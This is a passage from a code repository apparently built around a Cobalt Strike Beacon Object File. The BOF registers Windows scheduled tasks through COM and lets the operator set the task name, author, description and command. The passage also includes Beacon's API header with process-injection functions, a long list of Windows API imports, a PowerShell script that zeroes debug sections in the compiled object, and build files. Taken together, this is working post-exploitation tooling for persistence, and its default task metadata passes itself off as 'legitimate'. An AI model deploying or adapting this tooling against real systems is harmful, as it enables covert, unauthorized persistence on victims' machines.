242 | &pRegisteredTask
243 | );
244 | if (FAILED(hr)) {
245 | pRootFolder->Release();
246 | pTask->Release();
247 | return print_error("pRootFolder->RegisterTaskDefinition", hr);
248 | }
249 |
250 |
251 |
252 | pRootFolder->Release();
253 | pTask->Release();
254 | pRegisteredTask->Release();
255 |
256 | return TRUE;
257 | }
258 |
259 |
260 |
261 | #ifdef BOF
262 | void go(char* buff, int len) {
263 | datap parser;
264 |
265 | wchar_t* task_name,
266 | * author,
267 | * description,
268 | * command,
269 | * args;
270 |
271 |
272 | BeaconDataParse(&parser, buff, len);
273 |
274 | task_name = (wchar_t*)BeaconDataExtract(&parser, 0);
275 | author = (wchar_t*)BeaconDataExtract(&parser, 0);
276 | description = (wchar_t*)BeaconDataExtract(&parser, 0);
277 | command = (wchar_t*)BeaconDataExtract(&parser, 0);
278 | args = (wchar_t*)BeaconDataExtract(&parser, 0);
279 |
280 | if (!com_init())
281 | return;
282 |
283 | if (!task_create(task_name, author, description, command, args))
284 | return;
285 |
286 | CoUninitialize();
287 | }
288 |
289 |
290 | #else
291 |
292 | void main(int argc, char* argv[]) {
293 |
294 | if (!com_init())
295 | return;
296 |
297 | if (!task_create(SysAllocString(L"test_task"), SysAllocString(L"legitimate author"), SysAllocString(L"Legitimate desc"), SysAllocString(L"C:\\windows\\system32\\cmd.exe"), SysAllocString(L"/C notepad.exe")))
298 | return;
299 |
300 | CoUninitialize();
301 | }
302 |
303 | #endif
--------------------------------------------------------------------------------
/examples/scheduled-tasks/beacon.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | /*
4 | * Beacon Object Files (BOF)
5 | * -------------------------
6 | * A Beacon Object File is a light-weight post exploitation tool that runs
7 | * with Beacon's inline-execute command.
8 | *
9 | * Cobalt Strike 4.1.
10 | */
11 |
12 | /* data API */
13 | typedef struct {
14 | char * original; /* the original buffer [so we can free it] */
15 | char * buffer; /* current pointer into our buffer */
16 | int length; /* remaining length of data */
17 | int size; /* total size of this buffer */
18 | } datap;
19 |
20 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
21 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
22 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
23 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
24 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
25 |
26 | /* format API */
27 | typedef struct {
28 | char * original; /* the original buffer [so we can free it] */
29 | char * buffer; /* current pointer into our buffer */
30 | int length; /* remaining length of data */
31 | int size; /* total size of this buffer */
32 | } formatp;
33 |
34 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
35 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
36 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
37 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
38 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
39 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
40 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
41 |
42 | /* Output Functions */
43 | #define CALLBACK_OUTPUT 0x0
44 | #define CALLBACK_OUTPUT_OEM 0x1e
45 | #define CALLBACK_ERROR 0x0d
46 | #define CALLBACK_OUTPUT_UTF8 0x20
47 |
48 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
49 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
50 |
51 | /* Token Functions */
52 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
53 | DECLSPEC_IMPORT void BeaconRevertToken();
54 | DECLSPEC_IMPORT BOOL BeaconIsAdmin();
55 |
56 | /* Spawn+Inject Functions */
57 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
58 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
59 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
60 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
61 |
62 | /* Utility Functions */
63 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
64 |
--------------------------------------------------------------------------------
/examples/scheduled-tasks/bofdefs.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | /* some code and/or ideas are from trustedsec SA Github repo -- thankyou trustedsec! */
3 | #include
4 |
5 |
6 | #ifdef BOF
7 |
8 | #ifdef __cplusplus
9 | extern "C" {
10 | #endif
11 |
12 | #include "beacon.h"
13 |
14 | void go(char* buff, int len);
15 |
16 | /* COM */
17 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCWSTR, LPCLSID);
18 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv);
19 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD);
20 | DECLSPEC_IMPORT VOID WINAPI OLE32$CoUninitialize();
21 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(LPWSTR lpsz, LPIID lpiid);
22 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitialize(LPVOID pvReserved);
23 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstanceEx(REFCLSID, IUnknown*, DWORD, COSERVERINFO*, DWORD, MULTI_QI*);
24 | DECLSPEC_IMPORT BSTR WINAPI OleAut32$SysAllocString(const OLECHAR*);
25 | DECLSPEC_IMPORT LPVOID WINAPI OLEAUT32$VariantInit(VARIANTARG* pvarg);
26 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE* asAuthSvc, void* pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void* pAuthList, DWORD dwCapabilities, void* pReserved3);
27 |
28 | /* Registry */
29 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
30 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey);
31 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired,
32 | CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition);
33 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType,
34 | CONST BYTE* lpData, DWORD cbData);
35 |
36 |
37 | /* FileSystem */
38 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
39 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
40 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetFilePointerEx(HANDLE hFile, LARGE_INTEGER liDistanceToMove, PLARGE_INTEGER lpDistanceToMoveHigh, DWORD dwMoveMethod);
41 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
42 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize);
43 | DECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilenamea, LPDWORD lpdwHandle);
44 | DECLSPEC_IMPORT BOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
45 | DECLSPEC_IMPORT BOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID* lplpBuffer, PUINT puLen);
46 |
47 |
48 | /* Memory */
49 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
50 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
51 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
52 | DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t);
53 | DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t);
54 |
55 |
56 | /* Process */
57 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
58 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
59 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap();
60 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
61 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
62 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
63 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds);
64 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
65 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);
66 | DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExW(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize);
67 |
68 |
69 | /* GetLast Error */
70 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(VOID);
71 |
72 |
73 | /* Directories */
74 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$RemoveDirectoryA(LPCSTR);
75 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
76 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName);
77 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathIsDirectoryA(LPCSTR);
78 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath);
79 |
80 |
81 | /* strings */
82 | DECLSPEC_IMPORT PSTR WINAPI SHLWAPI$StrChrA(PCSTR pszStart, WORD wMatch);
83 | DECLSPEC_IMPORT LPSTR __cdecl MSVCRT$strchr(LPSTR, int);
84 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcat_s(LPSTR, size_t, LPCSTR);
85 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcpy_s(LPSTR, size_t, LPCSTR);
86 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strncpy_s(LPSTR, size_t, LPCSTR, size_t);
87 | DECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(LPSTR, size_t, LPCSTR, ...);
88 | DECLSPEC_IMPORT void WINAPI MSVCRT$sprintf(char*, char[], ...);
89 | DECLSPEC_IMPORT int __cdecl MSVCRT$_vsnprintf(LPSTR, size_t, LPCSTR, va_list);
90 | DECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(LPCWSTR);
91 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2);
92 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpyA(LPSTR lpString1, LPCSTR lpString2);
93 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcatA(LPSTR lpString1, LPCSTR lpString2);
94 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength);
95 | DECLSPEC_IMPORT int WINAPI KERNEL32$lstrlenW(LPCWSTR lpString);
96 | DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2);
97 |
98 |
99 | /* RPC */
100 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$RpcStringFreeA(RPC_CSTR* String);
101 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidCreate(UUID* Uuid);
102 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidToStringA(const UUID* Uuid, RPC_CSTR* StringUuid);
103 |
104 |
105 | /* Random */
106 | DECLSPEC_IMPORT void WINAPI MSVCRT$srand(int initial);
107 | DECLSPEC_IMPORT int WINAPI MSVCRT$rand();
108 |
109 |
110 | /* DateTime */
111 | DECLSPEC_IMPORT time_t WINAPI MSVCRT$time(time_t* time);
112 |
113 |
114 | /* SystemInfo */
115 | DECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);
116 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFeature);
117 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer);
118 |
119 |
120 |
121 |
122 |
123 |
124 | #ifdef __cplusplus
125 | }
126 | #endif
127 |
128 |
129 | /* helper macros */
130 |
131 | #define malloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) /* trustedsec */
132 | #define free(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, (LPVOID)addr) /* trustedsec */
133 | #define ZeroMemory(address, size) memset(address, 0, size);
134 |
135 |
136 | /* ----------------------------------- DEFINITIONS ------------------------------------------*/
137 |
138 | /* COM */
139 | #define CLSIDFromString OLE32$CLSIDFromString
140 | #define CoCreateInstance OLE32$CoCreateInstance
141 | #define CoInitializeEx OLE32$CoInitializeEx
142 | #define CoUninitialize OLE32$CoUninitialize
143 | #define IIDFromString OLE32$IIDFromString
144 | #define CoInitialize OLE32$CoInitialize
145 | #define CoCreateInstanceEx OLE32$CoCreateInstanceEx
146 | #define SysAllocString OleAut32$SysAllocString
147 | #define VariantInit OLEAUT32$VariantInit
148 | #define CoInitialize OLE32$CoInitialize
149 | #define CoInitializeSecurity OLE32$CoInitializeSecurity
150 |
151 | /* memory */
152 | #define HeapFree KERNEL32$HeapFree
153 | #define HeapAlloc KERNEL32$HeapAlloc
154 | #define HeapReAlloc KERNEL32$HeapReAlloc
155 | #define memcpy MSVCRT$memcpy
156 | #define memset MSVCRT$memset
157 |
158 |
159 | /* process */
160 | #define GetProcessHeap KERNEL32$GetProcessHeap
161 | #define CreateProcessWithLogonW ADVAPI32$CreateProcessWithLogonW
162 | #define OpenProcess KERNEL32$OpenProcess
163 | #define VirtualQueryEx KERNEL32$VirtualQueryEx
164 | #define GetProcessId KERNEL32$GetProcessId
165 | #define ReadProcessMemory KERNEL32$ReadProcessMemory
166 | #define GetCurrentProcess KERNEL32$GetCurrentProcess
167 | #define Sleep KERNEL32$Sleep
168 | #define LookupPrivilegeValueW ADVAPI32$LookupPrivilegeValueW
169 | #define GetModuleFileNameExW PSAPI$GetModuleFileNameExW
170 |
171 |
172 | /* debug */
173 | #define EnumerateLoadedModulesW64 DBGHELP$EnumerateLoadedModulesW64
174 | #define SymInitializeW DBGHELP$SymInitializeW
175 | #define SymCleanup DBGHELP$SymCleanup
176 |
177 |
178 | /* filesystem */
179 | #define CreateFileA KERNEL32$CreateFileA
180 | #define SetFilePointer KERNEL32$SetFilePointer
181 | #define SetFilePointerEx KERNEL32$SetFilePointerEx
182 | #define WriteFile KERNEL32$WriteFile
183 | #define GetFileSizeEx KERNEL32$GetFileSizeEx
184 | #define GetFileVersionInfoSizeW VERSION$GetFileVersionInfoSizeW
185 | #define GetFileVersionInfoW VERSION$GetFileVersionInfoW
186 | #define VerQueryValueW VERSION$VerQueryValueW
187 |
188 | /* error */
189 | #define GetLastError KERNEL32$GetLastError
190 |
191 |
192 | /* registry */
193 | #define RegOpenKeyExA ADVAPI32$RegOpenKeyExA
194 | #define RegDeleteTreeA ADVAPI32$RegDeleteTreeA
195 | #define RegCreateKeyExA ADVAPI32$RegCreateKeyExA
196 | #define RegSetValueExA ADVAPI32$RegSetValueExA
197 |
198 |
199 | /* directory */
200 | #define RemoveDirectoryA KERNEL32$RemoveDirectoryA
201 | #define CreateDirectoryA KERNEL32$CreateDirectoryA
202 | #define MoveFileA KERNEL32$MoveFileA
203 | #define PathIsDirectoryA SHLWAPI$PathIsDirectoryA
204 | #define PathFileExistsA SHLWAPI$PathFileExistsA
205 |
206 |
207 | /* strings */
208 | #define strchr MSVCRT$strchr
209 | #define strcat_s MSVCRT$strcat_s
210 | #define strcpy_s MSVCRT$strcpy_s
211 | #define strncpy_s MSVCRT$strncpy_s
212 | #define snprintf MSVCRT$_snprintf /*beacon can't find snprintf without the preceeding '_' */
213 | #define wcslen MSVCRT$wcslen
214 | #define vsnprintf MSVCRT$vsnprintf
215 | #define lstrlenW KERNEL32$lstrlenW
216 | #define lstrcpyW KERNEL32$lstrcpyW
217 | #define strcmp MSVCRT$strcmp
218 | #define lstrcpyA Kernel32$lstrcpyA
219 | #define lstrcatA Kernel32$lstrcatA
220 | #define lstrcpynA Kernel32$lstrcpynA
221 | #define lstrlenW KERNEL32$lstrlenW
222 | #define lstrcpyW KERNEL32$lstrcpyW
223 | #define sprintf MSVCRT$sprintf
224 |
225 |
226 | /* RPC */
227 | #define RpcStringFreeA Rpcrt4$RpcStringFreeA
228 | #define UuidCreate Rpcrt4$UuidCreate
229 | #define UuidToStringA Rpcrt4$UuidToStringA
230 |
231 |
232 | /* Random */
233 | #define srand MSVCRT$srand
234 | #define rand MSVCRT$rand
235 |
236 |
237 | /* DateTime */
238 | #define time MSVCRT$time
239 |
240 |
241 | /* SystemInfo */
242 | #define GetSystemInfo KERNEL32$GetSystemInfo
243 | #define GetUserNameW ADVAPI32$GetUserNameW
244 | #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent
245 |
246 | #else
247 |
248 | #endif
249 |
--------------------------------------------------------------------------------
/examples/scheduled-tasks/resources/strip_bof.ps1:
--------------------------------------------------------------------------------
1 | function strip-bof {
2 | <#
3 | .SYNOPSIS
4 | Removes debug symbols from a beacon object file
5 |
6 | Heavily dependent on code by Matthew Graeber (@mattifestation)
7 | Original code: https://www.powershellgallery.com/packages/PowerSploit/1.0.0.0/Content/PETools%5CGet-ObjDump.ps1
8 | Author: Yasser Alhazmi (#yas_o_h)
9 | License: BSD 3-Clause
10 |
11 | .PARAMETER Path
12 |
13 | Specifies a path to one or more object file locations.
14 |
15 | .EXAMPLE
16 |
17 | C:\PS>strip-bof -Path main.obj
18 |
19 | #>
20 |
21 | [CmdletBinding()] Param (
22 | [Parameter(Position = 0, Mandatory = $True)]
23 | [ValidateScript({ Test-Path $_ })]
24 | [String]
25 | $Path
26 | )
27 |
28 |
29 | $Code = @'
30 | using System;
31 | using System.IO;
32 | using System.Text;
33 |
34 | namespace COFF
35 | {
36 |
37 |
38 | public class SECTION_HEADER
39 | {
40 | public string Name;
41 | public uint PhysicalAddress;
42 | public uint VirtualSize;
43 | public uint VirtualAddress;
44 | public uint SizeOfRawData;
45 | public uint PointerToRawData;
46 | public uint PointerToRelocations;
47 | public uint PointerToLinenumbers;
48 | public ushort NumberOfRelocations;
49 | public ushort NumberOfLinenumbers;
50 | public uint Characteristics;
51 | public Byte[] RawData;
52 |
53 | public SECTION_HEADER(BinaryReader br)
54 | {
55 | this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0];
56 | this.PhysicalAddress = br.ReadUInt32();
57 | this.VirtualSize = this.PhysicalAddress;
58 | this.VirtualAddress = br.ReadUInt32();
59 | this.SizeOfRawData = br.ReadUInt32();
60 | this.PointerToRawData = br.ReadUInt32();
61 | this.PointerToRelocations = br.ReadUInt32();
62 | this.PointerToLinenumbers = br.ReadUInt32();
63 | this.NumberOfRelocations = br.ReadUInt16();
64 | this.NumberOfLinenumbers = br.ReadUInt16();
65 | this.Characteristics = br.ReadUInt32();
66 | }
67 | }
68 |
69 |
70 | public class HEADER
71 | {
72 | public ushort Machine;
73 | public ushort NumberOfSections;
74 | public uint TimeDateStamp;
75 | public uint PointerToSymbolTable;
76 | public uint NumberOfSymbols;
77 | public ushort SizeOfOptionalHeader;
78 | public ushort Characteristics;
79 |
80 | public HEADER(BinaryReader br)
81 | {
82 | this.Machine = br.ReadUInt16();
83 | this.NumberOfSections = br.ReadUInt16();
84 | this.TimeDateStamp = br.ReadUInt32();
85 | this.PointerToSymbolTable = br.ReadUInt32();
86 | this.NumberOfSymbols = br.ReadUInt32();
87 | this.SizeOfOptionalHeader = br.ReadUInt16();
88 | this.Characteristics = br.ReadUInt16();
89 | }
90 | }
91 | }
92 | '@
93 |
94 | Add-Type -TypeDefinition $Code
95 | Write-Host "enumerating sections..."
96 | try {
97 | $FileStream = [IO.File]::OpenRead($Path)
98 | $BinaryReader = New-Object IO.BinaryReader($FileStream)
99 | $CoffHeader = New-Object COFF.HEADER($BinaryReader)
100 |
101 | # Parse section headers
102 | $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections)
103 |
104 | for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++)
105 | {
106 | $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader)
107 |
108 | if($SectionHeaders[$i].Name.Contains("debug")){
109 | Write-Host "found debug section.. zeroing it..."
110 | $FileStream.Close();
111 | $FileStream2 = [IO.File]::OpenWrite($Path)
112 | $FileStream2.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null
113 | for($x = 0; $x -lt $SectionHeaders[$i].SizeOfRawData; $x++){
114 | $FileStream2.WriteByte(0)
115 | }
116 | Write-Host "closing stream...";
117 | $FileStream2.Close();
118 | Write-Host "done!";
119 | return;
120 | }
121 | }
122 | } catch {
123 | Add-Type -AssemblyName PresentationFramework
124 | [System.Windows.MessageBox]::Show("error stripping debug symbols: " + $_.ToString());
125 | return;
126 | }
127 | }
--------------------------------------------------------------------------------
/examples/scheduled-tasks/scheduled-tasks.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | BOF
6 | Win32
7 |
8 |
9 | Debug
10 | Win32
11 |
12 |
13 | Release
14 | Win32
15 |
16 |
17 | BOF
18 | x64
19 |
20 |
21 | Debug
22 | x64
23 |
24 |
25 | Release
26 | x64
27 |
28 |
29 |
30 | 16.0
31 | Win32Proj
32 | {9d519b22-0a27-4cd8-9f64-1e490ad180e4}
33 | scheduled-tasks
34 | 10.0
35 | scheduled-tasks
36 |
37 |
38 |
39 | Application
40 | true
41 | v142
42 | Unicode
43 |
44 |
45 | Application
46 | false
47 | v142
48 | true
49 | Unicode
50 |
51 |
52 | Application
53 | true
54 | v142
55 | Unicode
56 |
57 |
58 | Application
59 | false
60 | v142
61 | true
62 | Unicode
63 |
64 |
65 | v142
66 | Console
67 |
68 |
69 |
70 |
71 | Console
72 |
73 | v142
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o;$(ExtensionsToDeleteOnClean)
97 |
98 | $(SolutionDir)bin\$(Configuration)\
99 | intermediary\$(Configuration)\$(Platform)\
100 | $(ProjectName)x64
101 |
102 |
103 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(ExtensionsToDeleteOnClean)
104 |
105 | $(SolutionDir)bin\$(Configuration)\
106 | $(ProjectName)x32
107 | intermediary\$(Configuration)\x86\
108 |
109 |
110 | $(SolutionDir)bin\$(Configuration)\
111 | $(ProjectName)64
112 |
113 |
114 | $(SolutionDir)bin\$(Configuration)\
115 | $(ProjectName)32
116 |
117 |
118 | $(SolutionDir)bin\$(Configuration)\
119 | $(ProjectName)32
120 |
121 |
122 | $(SolutionDir)bin\$(Configuration)\
123 | $(ProjectName)64
124 |
125 |
126 |
127 | EnableAllWarnings
128 | true
129 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
130 | false
131 |
132 |
133 | Level1
134 |
135 |
136 | Console
137 | true
138 |
139 |
140 |
141 |
142 | Level4
143 | true
144 | true
145 | true
146 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
147 | false
148 | Level1
149 |
150 |
151 |
152 |
153 | Console
154 | true
155 | true
156 | true
157 |
158 |
159 |
160 |
161 | EnableAllWarnings
162 | true
163 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
164 | false
165 | true
166 | Level1
167 |
168 |
169 | Console
170 | true
171 |
172 |
173 |
174 |
175 | Level4
176 | true
177 | true
178 | true
179 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
180 | false
181 | Level1
182 |
183 |
184 | Console
185 | true
186 | true
187 | true
188 |
189 |
190 |
191 |
192 | /c /Fo"intermediary\BOF\x64\source"
193 |
194 |
195 | None
196 | false
197 | BOF;%(PreprocessorDefinitions)
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 | Level1
222 |
223 |
224 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\$(Platform)\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*";
225 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }"
226 |
227 |
228 |
229 |
230 | /c /Fo"intermediary\BOF\x86\source"
231 |
232 |
233 | None
234 | false
235 | BOF;%(PreprocessorDefinitions)
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 | Level1
257 |
258 |
259 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\x86\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.o*";
260 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj' }"
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 |
--------------------------------------------------------------------------------
/examples/scheduled-tasks/scheduled-tasks.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {f23d5754-25e5-46a9-b783-8685f48d2291}
6 |
7 |
8 | {72263c50-a87a-4d99-9746-3def65c61180}
9 |
10 |
11 | {999efb6a-e35d-49fb-bf81-1ebab5077dd0}
12 |
13 |
14 |
15 |
16 | Source Files
17 |
18 |
19 |
20 |
21 | Header Files
22 |
23 |
24 | Header Files
25 |
26 |
27 |
28 |
29 | Resources
30 |
31 |
32 |
--------------------------------------------------------------------------------
/examples/scheduled-tasks/scheduled-tasks.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
